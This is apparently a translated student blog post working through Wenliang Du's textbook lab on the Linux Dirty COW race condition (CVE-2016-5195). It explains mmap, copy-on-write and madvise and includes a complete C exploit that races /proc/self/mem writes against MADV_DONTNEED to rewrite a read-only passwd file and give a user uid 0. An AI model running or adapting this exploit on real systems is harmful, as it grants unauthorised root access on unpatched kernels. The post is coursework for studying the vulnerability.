Dirty_COW_Race_Condition_Attack

Article catalog

preface

Source: <Computer Security>A Hands-on Approach — Wenliang Du

See GitHub for all codes / documents: https://github.com/da1234cao/computer_security

The introduction of the book is relatively simple, so is the document.

Of course, you can also refer to similar articles with some difficulties (I didn't read these two articles):

CVE-2016-5195 vulnerability analysis and recurrence ,An attempt to exploit the dirty cow vulnerability


1. Summary & & summary

Steal a lazy..

Dirty Cow(CVE-2016-5195) is a vulnerability in kernel competition. Previously, Alibaba cloud security team had a vulnerability report in prophet Dirty COW vulnerability analysis report [CVE-2016-5195] , here I have supplemented the function call chain and some details of the vulnerability. For the first time, I analyzed the Linux kernel CVE. I am not familiar with many mechanisms of the kernel. If there is any problem in this article, I would like to ask you to give me some advice.


2. Preparations

Before this, we need to understand the vulnerability of competition conditions, refer to: Race_Condition_Vulnerability

2.1 mmap function

reference resources: mmap() function in C language: establishing memory mapping + man mmap + The difference between mmap and normal file operation + Cache and Buffer are both caches. What is the main difference?

The difference between mmap and normal file operation There is something wrong with the introduction. Pay attention to its comment area. I didn't understand it clearly. It doesn't hinder my understanding for the time being.

2.1.1 application of MMAP function

Let's first look at how this function is used, and then talk about the mechanism behind it.

/**
 * mmap function example
 * gcc -o mmap_eaxmple mmap_eaxmple.c
*/

#include <stdio.h>
#include <sys/types.h>  
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>

int main(void){
    struct stat st;
    void *map;
    char read_contents[30]={0};
    char *new_contents = "mmap function example\n";

    int f = open("./zzz", O_RDWR);
    fstat(f,&st);
    
    /*Map the entire file to memory*/
    map = mmap(NULL,st.st_size,PROT_READ|PROT_WRITE,MAP_SHARED,f,0);

    if(map == MAP_FAILED)
        return 0;
    
    /*Read file contents from mapped memory*/
    // memcpy(read_contents,map,18);
    // printf("read_contents : %s \n",read_contents);
    // printf("firt line : %s  \n",(char *)map);

    //From the file, read one line; more than 20 lines, take out the first 20
    FILE *fp = fopen("./zzz","r");
    if(fp == NULL){
        printf("open file failed.");
        return 0;
    }
    fgets(read_contents,sizeof(read_contents),fp);
    fclose(fp);
    printf("first line : %s\n",read_contents);

    /*Write to a file by mapping memory*/
    memcpy(map,new_contents,strlen(new_contents));

    munmap(map,st.st_size);
    close(f);

    return 0;

2.2.2 difference between MMAP and normal file operation

  1. Both read() and write() system calls will fall into the kernel, copying data from the hard disk – > page buffer – > kernel space, and then from kernel space to user space. (page caching to solve the problem of slow IO reading)
  2. mmap function can also lead to the kernel, but it only establishes the mapping relationship between user virtual address space and file (virtual address mapping to physical address, physical page specific content is not loaded;). When the process accesses this memory, a page missing interrupt occurs, which causes the file content - > page buffer - > y user state physical space.
  3. The reason why mmap is fast is that the mapping of virtual address space from physical page to user process is established. Taking reading file as an example, page copying from kernel state to user state is avoided.
  4. In general, mmap creates a new mapping in the virtual address space of the process. In short, it maps large chunks of file / device memory / anything to the space of the process so that content can be accessed directly by accessing memory only.
  5. Do you really understand? No. The combination of the above points is that mmap can replace read, and is it better? The read function exists so far, probably for some reason.

2.2 copy on write mechanism

reference resources: COW! Copy On Write mechanism

The simple understanding is that multiple processes initially share a segment of memory (different processes have different virtual address spaces, and virtual addresses are mapped on the same physical page, so they share the same segment of memory). When a process wants to write to the memory, it copies a copy to other physical pages, and the page table mapping of the virtual address space of the process is also modified to map to a new physical page.

That is, the copy operation is delayed until it needs to be written. See the link above for details.


2.2.1 mmap function MAP_PRIVATE parameter

COW mechanism: copy content to new memory, modify page table mapping, map to new memory, and write in new memory.


2.2.2 madwise function

reference resources: /proc/self/ + lseek() function in C language: move the read and write location of the file + The difference between sizeof and strlen + [turn] use of mmap and madvise

When using madv in the madwise function_ The dontneed parameter. The process will discard the copied memory and modify the page table mapping to execute the original memory space again.

/**
 * File name: cow_map_readonly_file.c
 * Compiling: gcc -o cow_map_readonly_file.c cow_map_readonly_file
 * Role: to understand the copy on write (cow) mechanism
 * Operation:
 * 1. Use / proc/self/mem to write to read-only memory. Due to the COW mechanism, the original memory is not modified, but copied to the new memory.
 * 2. After that, use madvision to discard the modified new memory
*/

#include <stdio.h>
#include <sys/types.h>  
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>

int main(void){
    struct stat st;
    char read_content[20]={0};
    char *new_content = "This is new content";

    int f = open("./zzz",O_RDONLY);//For others, files are read only 
    fstat(f,&st);

    void *map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);//Map files to memory

    int fm = open("/proc/self/mem",O_RDWR);//Open the pseudo file corresponding to the process memory

    lseek(fm,(__off_t)map,SEEK_SET); //Locate the read-write location to map, and we can directly modify the file content through memory

    /**
     * Write content to read-only file? no
     * COW Mechanism: copy a copy to memory -- "page table map to new memory location --" content is also written to new memory location
     * The memory of the file mapping is identified as COW, which is checked before writing, and the subsequent copy operation can be performed.
    */
    write(fm,new_content,strlen(new_content)); 

    
    // memcpy(read_content,map,strlen(read_content)); / / read the contents of some new memory locations
    memcpy(read_content,map,sizeof(read_content)-1);//Read part of new memory location
    printf("content after write: %s \n",read_content);

    madvise(map,st.st_size,MADV_DONTNEED);//Discard the new memory location, map points to the original location

    memcpy(read_content,map,strlen(read_content));//Read part of the original memory location
    printf("content after madvise: %s \n",read_content);


    return 0;
}

3. Dirty COW

  1. COW mechanism: copy content to new memory, modify page table mapping, map to new memory, and write in new memory.
  2. When using madv in the madwise function_ The dontneed parameter. The process will discard the copied memory and modify the page table mapping to execute the original memory space again.
  3. So, we just need to, in the following order, exploit the competitive condition vulnerability here (check and execute separation).
  4. Copy content to new memory, modify page table mapping, map to new memory, discard the copied memory, modify page table mapping and execute the original memory space again, write to the read-only file in memory.

Reference article: Simple use of Pthread thread + linux C language multithreading programming, how to pass in parameters, how to get return value + linux view all subprocesses and threads of a process

/**
 * File name: cow_attack.c
 * Compiling: gcc -pthread -o cow_attack cow_attack.c
 * Description: 
 * main thread: Read only file / etc/passwd.bak Map into memory
 * write thread: Write to this memory to trigger the COW mechanism; copy page table modify write
 * madvise thread: Discard the copied memory and modify the page table to refer back to the memory corresponding to the original read-only file
 * Function: change the uid of user dacao to 0(root)
*/

#include <stdio.h>
#include <sys/types.h>  
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#include <pthread.h>

struct file_info
{
    char *map; //The starting location of the file mapped to memory
    off_t file_size;// Size of file mapped to memory
};


void *writeThread(void *arg){
    char *position = arg;
    char *new_content = "dacao:x:0";

    /*For / etc/passwd.bak Write operation, start COW*/
    int f = open("/proc/self/mem",O_RDWR);
    while (1){
        lseek(f,(__off_t)position,SEEK_SET);
        write(f,new_content,strlen(new_content));
    }
    
}


void *madviseThread(void *arg){
    struct file_info *pth2_arg = (struct file_info*)arg;
    while (1){
        madvise(pth2_arg->map,pth2_arg->file_size,MADV_DONTNEED);//Discard the new memory location, map points to the original location
    }
    
}


int main(void){
    struct stat st;

    /*Put / etc/passwd.bak Map into memory*/
    int f = open("/etc/passwd.bak",O_RDONLY);
    fstat(f,&st);
    void *map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

    //Variables passed to the thread
    char *position = strstr(map,"dacao:x:1000");
    struct file_info pth2_arg;
    pth2_arg.file_size = st.st_size;
    pth2_arg.map = map;

    pthread_t pth1,pth2;
    pthread_create(&pth1,NULL,writeThread,position);
    pthread_create(&pth2,NULL,madviseThread,&pth2_arg);

    pthread_join(pth1,NULL);
    pthread_join(pth2,NULL);

    return 0;
}

4. Results

This vulnerability has been fixed, and I'm lazy not to try to install an old version of the kernel in the virtual machine.

See: CVE-2016-5195 vulnerability analysis and recurrence


Summary of reference articles

Race_Condition_Vulnerability

mmap() function in C language: establishing memory mapping + man mmap + The difference between mmap and normal file operation + Cache and Buffer are both caches. What is the main difference?

COW! Copy On Write mechanism

/proc/self/ + lseek() function in C language: move the read and write location of the file + The difference between sizeof and strlen + [turn] use of mmap and madvise

Simple use of Pthread thread + linux C language multithreading programming, how to pass in parameters, how to get return value + linux view all subprocesses and threads of a process

CVE-2016-5195 vulnerability analysis and recurrence ,An attempt to exploit the dirty cow vulnerability

Tags: C Linux github Programming

Posted on Sat, 27 Jun 2020 22:04:03 -0400 by AceE